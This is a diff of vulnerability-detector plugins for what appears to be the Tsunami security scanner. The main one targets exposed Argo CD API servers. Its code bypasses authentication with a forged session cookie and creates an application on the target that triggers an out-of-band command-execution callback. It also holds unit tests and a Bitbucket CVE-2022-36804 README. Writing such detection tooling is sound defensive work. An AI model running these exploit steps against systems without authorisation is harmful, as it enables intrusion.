"api/v1/projects?fields=items.metadata.name"; + HttpResponse response = + httpClient.send(get(projectsUrl).setHeaders(baseHeaders.build()).build(), networkService); + if (response.bodyString().isEmpty()) { + return false; + } + String projectName = ""; + try { + projectName = + JsonParser.parseString(response.bodyString().get()) + .getAsJsonObject() + .get("items") + .getAsJsonArray() + .get(0) + .getAsJsonObject() + .get("metadata") + .getAsJsonObject() + .get("name") + .getAsString(); + } catch (IllegalStateException | NullPointerException | JsonParseException e) { + return false; + } + + // 2. Get the first cluster name + String clustersUrl = targetUrl + "api/v1/clusters"; + response = + httpClient.send(get(clustersUrl).setHeaders(baseHeaders.build()).build(), networkService); + if (response.bodyString().isEmpty()) { + return false; + } + String clusterName = ""; + try { + clusterName = + JsonParser.parseString(response.bodyString().get()) + .getAsJsonObject() + .get("items") + .getAsJsonArray() + .get(0) + .getAsJsonObject() + .get("server") + .getAsString(); + } catch (IllegalStateException | NullPointerException | JsonParseException e) { + return false; + } + + // 3. Create an application to trigger the OOB + Payload callbackPayload = getTsunamiCallbackHttpPayload(); + if (callbackPayload == null + || !callbackPayload.getPayloadAttributes().getUsesCallbackServer()) { + logger.atWarning().log( + "The Tsunami callback server is not setup for this environment," + + " so we cannot confirm the RCE callback"); + return false; + } + String payload = + String.format( + CREATE_APPLICATION_TEMPLATE, + clusterName, + PAYLOAD_GIT_PATH, + PAYLOAD_GIT_URL, + callbackPayload.getPayload(), + projectName); + String createAppUrl = targetUrl + "api/v1/applications?upsert=true"; + response = + httpClient.send( + post(createAppUrl) + .setHeaders(baseHeaders.addHeader("Content-Type", "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(payload)) + .build(), + networkService); + // If we send a req with http it will redirect us to https with a 307 status code, + // but by default our client doesn't redirect a POST request with 307 status code and a + // location header in first response + if (response.status().isRedirect() + && response.headers().get("Location").orElse(null) != null) { + logger.atInfo().log("redirect to %s", response.headers().get("Location")); + response = + httpClient.send( + post(response.headers().get("Location").get()) + .setHeaders(baseHeaders.addHeader("Content-Type", "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(payload)) + .build(), + networkService); + } + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); + if (callbackPayload.checkIfExecuted()) { + logger.atInfo().log("Confirmed OOB Payload execution."); + deleteTestApplicationRequest(networkService, baseHeaders, targetUrl); + return true; + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUrl); + deleteTestApplicationRequest(networkService, baseHeaders, targetUrl); + return false; + } + deleteTestApplicationRequest(networkService, baseHeaders, targetUrl); + return false; + } + + private void deleteTestApplicationRequest( + NetworkService networkService, HttpHeaders.Builder baseHeaders, String targetUrl) { + try { + logger.atInfo().log("Try to delete the new application which was for testing purpose."); + String deleteAppUrl = + targetUrl + + "api/v1/applications/tsunami-security-scanner?cascade=true&" + + "propagationPolicy=foreground&appNamespace=argocd"; + HttpResponse response = + httpClient.send( + delete(deleteAppUrl) + .setHeaders(baseHeaders.addHeader("Content-Type", "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8("{}")) + .build(), + networkService); + // same as last comment about redirection + if (response.status().isRedirect() + && response.headers().get("Location").orElse(null) != null) { + logger.atInfo().log("redirect to %s", response.headers().get("Location")); + httpClient.send( + delete(response.headers().get("Location").get()) + .setHeaders(baseHeaders.addHeader("Content-Type", "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8("{}")) + .build(), + networkService); + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to delete application."); + } + } + + private Payload getTsunamiCallbackHttpPayload() { + try { + return this.payloadGenerator.generate( + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) + .setExecutionEnvironment( + PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) + .build()); + } catch (NotImplementedException n) { + return null; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, + NetworkService vulnerableNetworkService, + String description, + String recommendation, + Severity severity) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("ARGOCD_API_SERVER_EXPOSED")) + .setSeverity(severity) + .setTitle("Argo CD API server Exposed") + .setDescription(description) + .setRecommendation(recommendation)) + .build(); + } +} diff --git a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorBootstrapModule.java b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorBootstrapModule.java new file mode 100644 index 000000000..1584705a5 --- /dev/null +++ b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorBootstrapModule.java @@ -0,0 +1,39 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.exposedui.argocd; + +import com.google.inject.Provides; +import com.google.tsunami.plugin.PluginBootstrapModule; +import com.google.tsunami.plugins.detectors.exposedui.argocd.Annotations.OobSleepDuration; + +/** A {@link PluginBootstrapModule} for {@link ExposedArgoCdApiDetector}. */ +public final class ExposedArgoCdApiDetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(ExposedArgoCdApiDetector.class); + } + + @Provides + @OobSleepDuration + int provideOobSleepDuration(ExposedArgoCdApiDetectorConfigs configs) { + if (configs.oobSleepDuration == 0) { + return 20; + } + return configs.oobSleepDuration; + } +} diff --git a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorConfigs.java b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorConfigs.java new file mode 100644 index 000000000..2995c17ac --- /dev/null +++ b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorConfigs.java @@ -0,0 +1,23 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.exposedui.argocd; + +import com.google.tsunami.common.config.annotations.ConfigProperties; + +@ConfigProperties("plugins.community.detectors.argocd_exposed_ui") +final class ExposedArgoCdApiDetectorConfigs { + int oobSleepDuration; +} diff --git a/community/detectors/argocd_exposed_ui/src/test/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorTest.java b/community/detectors/argocd_exposed_ui/src/test/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorTest.java new file mode 100644 index 000000000..56625c624 --- /dev/null +++ b/community/detectors/argocd_exposed_ui/src/test/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorTest.java @@ -0,0 +1,427 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.exposedui.argocd; + +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static com.google.tsunami.plugins.detectors.exposedui.argocd.ExposedArgoCdApiDetector.PAYLOAD_ARGOCD_TOKEN_SESSION; + +import com.google.common.collect.ImmutableList; +import com.google.common.truth.Truth; +import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.plugins.detectors.exposedui.argocd.Annotations.OobSleepDuration; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.security.SecureRandom; +import java.time.Instant; +import java.util.Arrays; +import java.util.Objects; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; +import org.junit.Test; + +/** Unit tests for {@link ExposedArgoCdApiDetector}. */ +@RunWith(JUnit4.class) +public final class ExposedArgoCdApiDetectorTest { + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2024-12-03T00:00:00.00Z")); + + private final MockWebServer mockTargetService = new MockWebServer(); + private final MockWebServer mockCallbackServer = new MockWebServer(); + + @Inject private ExposedArgoCdApiDetector detector; + + TargetInfo targetInfo; + NetworkService targetNetworkService; + private final SecureRandom testSecureRandom = + new SecureRandom() { + @Override + public void nextBytes(byte[] bytes) { + Arrays.fill(bytes, (byte) 0xFF); + } + }; + + @Bind(lazy = true) + @OobSleepDuration + private int sleepDuration = 1; + + private void createInjector() { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder() + .setCallbackServer(mockCallbackServer) + .setSecureRng(testSecureRandom) + .build(), + Modules.override(new ExposedArgoCdApiDetectorBootstrapModule()) + .with(BoundFieldModule.of(this))) + .injectMembers(this); + } + + @Before + public void setUp() throws IOException { + mockCallbackServer.start(); + } + + @After + public void tearDown() throws Exception { + mockTargetService.shutdown(); + mockCallbackServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability_Cve202229165_Oob() throws IOException { + startMockWebServerForTestingWithOob(true); + createInjector(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("ARGOCD_API_SERVER_EXPOSED")) + .setSeverity(Severity.CRITICAL) + .setTitle("Argo CD API server Exposed") + .setDescription( + "Argo CD API server is vulnerable to CVE-2022-29165. The authentication" + + " of Argo CD API server can be bypassed and All applications can" + + " be accessed by public and therefore can be modified resulting" + + " in all application instances being compromised. The Argo CD UI" + + " does not support executing OS commands in the hosting machine" + + " at this time. We detected this vulnerable Argo CD API server by" + + " receiving a HTTP response from an endpoint that needs" + + " authentication") + .setRecommendation( + "Patched versions are 2.1.15, and 2.3.4, and 2.2.9, and" + + " 2.1.15. Please update Argo CD to these versions and higher.")) + .build()); + Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(5); + Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability_Cve202229165_Resp_Matching() + throws IOException { + startMockWebServerForTestingWithResponseMatching(true); + createInjector(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("ARGOCD_API_SERVER_EXPOSED")) + .setSeverity(Severity.HIGH) + .setTitle("Argo CD API server Exposed") + .setDescription( + "Argo CD API server is vulnerable to CVE-2022-29165. The authentication" + + " can be bypassed. We can't confirm that this API server has an" + + " admin role because we can't create a new application and" + + " receive an out-of-band callback from it, but we are able to" + + " receive some endpoint data without authentication") + .setRecommendation( + "Patched versions are 2.1.15, and 2.3.4, and 2.2.9, and" + + " 2.1.15. Please update Argo CD to these versions and higher.")) + .build()); + Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(4); + Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability_Exposed_Ui_Oob() throws IOException { + startMockWebServerForTestingWithOob(false); + createInjector(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("ARGOCD_API_SERVER_EXPOSED")) + .setSeverity(Severity.CRITICAL) + .setTitle("Argo CD API server Exposed") + .setDescription( + "Argo CD API server is misconfigured. The API server is not" + + " authenticated. All applications can be accessed by the public" + + " and therefore can be modified resulting in all application" + + " instances being compromised. The Argo CD UI does not support" + + " executing OS commands in the hosting machine at this time. We" + + " detected this vulnerable Argo CD API server by creating a test" + + " application and receiving out-of-band callback") + .setRecommendation( + "Please disable public access to your Argo CD API server.")) + .build()); + Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(4); + Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability_Exposed_Ui_Resp_Matching() + throws IOException { + startMockWebServerForTestingWithResponseMatching(false); + createInjector(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("ARGOCD_API_SERVER_EXPOSED")) + .setSeverity(Severity.HIGH) + .setTitle("Argo CD API server Exposed") + .setDescription( + "Argo CD API server is misconfigured. The API server is not" + + " authenticated.We can't confirm that this API server has an" + + " admin role because we can't create a new application and" + + " receive an out-of-band callback from it, but we are able to" + + " receive some endpoint data without authentication") + .setRecommendation( + "Please disable public access to your Argo CD API server.")) + .build()); + Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(3); + Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); + } + + @Test + public void detect_ifNotVulnerable_doesNotReportVuln_Exposed_Ui() throws IOException { + startMockWebServerForTestingWithOob(false); + createInjector(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(10); + } + + @Test + public void detect_ifNotVulnerable_doesNotReportVuln_Cve202229165() throws IOException { + startMockWebServerAlwaysReturn403(); + createInjector(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(4); + } + + private void startMockWebServerForTestingWithOob(boolean mustHaveForgedCookie) + throws IOException { + final Dispatcher dispatcher = + new Dispatcher() { + @Override + public MockResponse dispatch(RecordedRequest request) { + // if withAnForgedCookie is True then we should check the forged cookie for all requests + if (mustHaveForgedCookie + && !Objects.equals( + request.getHeaders().get("Cookie"), PAYLOAD_ARGOCD_TOKEN_SESSION)) { + return new MockResponse().setResponseCode(403); + } + // get an existing model name + if (Objects.equals(request.getPath(), "/api/v1/projects?fields=items.metadata.name") + && request.getMethod().equals("GET")) { + return new MockResponse() + .setBody("{\"items\":[{\"metadata\":{\"name\":\"default\"}}]}") + .setResponseCode(200); + } + // Attempting to unload model + if (Objects.equals(request.getPath(), "/api/v1/clusters") + && request.getMethod().equals("GET")) { + return new MockResponse() + .setBody( + "{\"metadata\": {},\"items\": [{\"server\": " + + "\"https://kubernetes.default.svc\",\"name\": \"in-cluster\"," + + "\"config\": {\"tlsClientConfig\": {\"insecure\": false}}}]}") + .setResponseCode(200); + } + // Creating model repo layout: uploading the model + // Or Creating model repo layout: uploading model config + if (Objects.equals(request.getPath(), "/api/v1/applications")) { + if (request.getMethod().equals("POST") + && !request.getBody().readString(StandardCharsets.UTF_8).isEmpty() + && Objects.requireNonNull(request.getHeaders().get("Content-Type")) + .equals("application/json") + && (Objects.equals(request.getBody().readString(StandardCharsets.UTF_8), "s") + || request.getBody().readString(StandardCharsets.UTF_8).startsWith("s"))) { + return new MockResponse().setResponseCode(200); + } + } + // Loading model to trigger payload + if (Objects.equals( + request.getPath(), + "/api/v1/applications/tsunami-security-scanner?cascade=true&" + + "propagationPolicy=foreground&appNamespace=argocd")) { + if (request.getMethod().equals("DELETE") + && request.getBody().readString(StandardCharsets.UTF_8).isEmpty()) { + return new MockResponse().setResponseCode(200); + } + } + return new MockResponse().setBody("[{}]").setResponseCode(200); + } + }; + mockTargetService.setDispatcher(dispatcher); + mockTargetService.start(); + mockTargetService.url("/"); + + targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) + .addSupportedHttpMethods("POST") + .build(); + targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + } + + private void startMockWebServerForTestingWithResponseMatching(boolean mustHaveForgedCookie) + throws IOException { + final Dispatcher dispatcher = + new Dispatcher() { + @Override + public MockResponse dispatch(RecordedRequest request) { + // if withAnForgedCookie is True then we should check the forged cookie for all requests + if (mustHaveForgedCookie + && !Objects.equals( + request.getHeaders().get("Cookie"), PAYLOAD_ARGOCD_TOKEN_SESSION)) { + return new MockResponse().setResponseCode(403); + } + // get an existing model name + if (Objects.equals(request.getPath(), "/api/v1/certificates") + && request.getMethod().equals("GET")) { + return new MockResponse() + .setBody( + "{\"metadata\":{},\"items\":[{\"serverName\":\"github.com\",\"certType\":" + + "\"ssh\",\"certSubType\":\"ecdsa-sha2-nistp256\",\"certData\":null,\"certInfo\":\"SHA256:p2QAMXNIC1TJYWeIOttrVc98/R1BUFWu3/LiyKgUfQM\"}]}") + .setResponseCode(200); + } + return new MockResponse().setResponseCode(403); + } + }; + mockTargetService.setDispatcher(dispatcher); + mockTargetService.start(); + mockTargetService.url("/"); + + targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) + .addSupportedHttpMethods("POST") + .build(); + targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + } + + private void startMockWebServerAlwaysReturn403() throws IOException { + final Dispatcher dispatcher = + new Dispatcher() { + @Override + public MockResponse dispatch(RecordedRequest request) { + return new MockResponse().setResponseCode(403); + } + }; + mockTargetService.setDispatcher(dispatcher); + mockTargetService.start(); + mockTargetService.url("/"); + + targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) + .addSupportedHttpMethods("POST") + .build(); + targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + } +} diff --git a/community/detectors/atlassian_confluence_cve_2023_22518/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VuLnDetectorTest.java b/community/detectors/atlassian_confluence_cve_2023_22518/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VuLnDetectorTest.java index 92dc95d8b..3e210f775 100644 --- a/community/detectors/atlassian_confluence_cve_2023_22518/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VuLnDetectorTest.java +++ b/community/detectors/atlassian_confluence_cve_2023_22518/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VuLnDetectorTest.java @@ -17,7 +17,6 @@ import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.plugins.detectors.rce.cve202322518.Cve202322518VulnDetector.FILE_UPLOAD_PATH; import static org.mockito.Mockito.spy; import static org.mockito.Mockito.when; @@ -26,6 +25,7 @@ import com.google.common.truth.Truth; import com.google.inject.Guice; import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClientModule; import com.google.tsunami.common.time.testing.FakeUtcClock; import com.google.tsunami.common.time.testing.FakeUtcClockModule; @@ -138,7 +138,7 @@ public void detect_whenNotVulnerable_returnsVulnerability() { Cve202322518VulnDetector mock = spy(detector); when(mock.buildRootUri(service)) - .thenReturn(String.format("http://%s/", toUriAuthority(service.getNetworkEndpoint()))); + .thenReturn(NetworkServiceUtils.buildWebApplicationRootUrl(service)); mockWebServer.enqueue(new MockResponse().setResponseCode(200)); diff --git a/community/detectors/bigip_cve_2022_1388/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetector.java b/community/detectors/bigip_cve_2022_1388/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetector.java index 02b844702..256833c19 100644 --- a/community/detectors/bigip_cve_2022_1388/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetector.java +++ b/community/detectors/bigip_cve_2022_1388/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetector.java @@ -22,7 +22,6 @@ import static com.google.common.net.HttpHeaders.CONTENT_TYPE; import static com.google.common.net.HttpHeaders.HOST; import static com.google.common.net.HttpHeaders.USER_AGENT; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.post; import com.google.common.annotations.VisibleForTesting; @@ -93,25 +92,6 @@ public final class Cve20221388VulnDetector implements VulnDetector { this.utcClock = checkNotNull(utcClock); } - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown"); - } - - private static StringBuilder buildTarget(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - targetUrlBuilder - .append("https://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - return targetUrlBuilder; - } - @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -120,7 +100,7 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve20221388VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) @@ -128,7 +108,8 @@ public DetectionReportList detect( } private boolean isServiceVulnerable(NetworkService networkService) { - String targetVulnerabilityUrl = buildTarget(networkService).append(VUL_PATH).toString(); + String targetVulnerabilityUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH; try { byte[] payload = BaseEncoding.base64().decode(POST_DATA); HttpResponse httpResponse = diff --git a/community/detectors/bitbucket_cve_2022_36804/README.md b/community/detectors/bitbucket_cve_2022_36804/README.md new file mode 100644 index 000000000..8f67c7f30 --- /dev/null +++ b/community/detectors/bitbucket_cve_2022_36804/README.md @@ -0,0 +1,34 @@ +# BitBucket CVE-2022-36804 command injection vulnerability Detector + +## CVE + +[CVE-2022-36804](https://github.com/advisories/GHSA-vcm2-j8f4-m7fj) + +## Description of Vulnerability + +This detector checks for BitBucket CVE-2022-36804 command injection +vulnerability. + +A vulnerability in Bitbucket allows remote code execution. An attacker with +read to a repository can execute arbitrary code by sending a malicious HTTP +request. Versions between 6.10.17 and 8.3.0 (included) are affected. + +## Requirements + +- At least one repository must be readable; +- It must already contain some files (must not be uninitialized); +- It must have a default branch configured. + +## Related Articles + +https://jira.atlassian.com/browse/BSERV-13438 + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/bitbucket_cve_2022_36804/build.gradle b/community/detectors/bitbucket_cve_2022_36804/build.gradle new file mode 100644 index 000000000..f01089fa4 --- /dev/null +++ b/community/detectors/bitbucket_cve_2022_36804/build.gradle @@ -0,0 +1,70 @@ +plugins { + id 'java-library' +} + +description = 'CVE-2022-36804 Bitbucket Server RCE via command injection Vulnerability Detector' +group 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + + + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/en/java/javase/11/' + source = '11' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + okhttpVersion = '3.12.0' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} diff --git a/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.jar 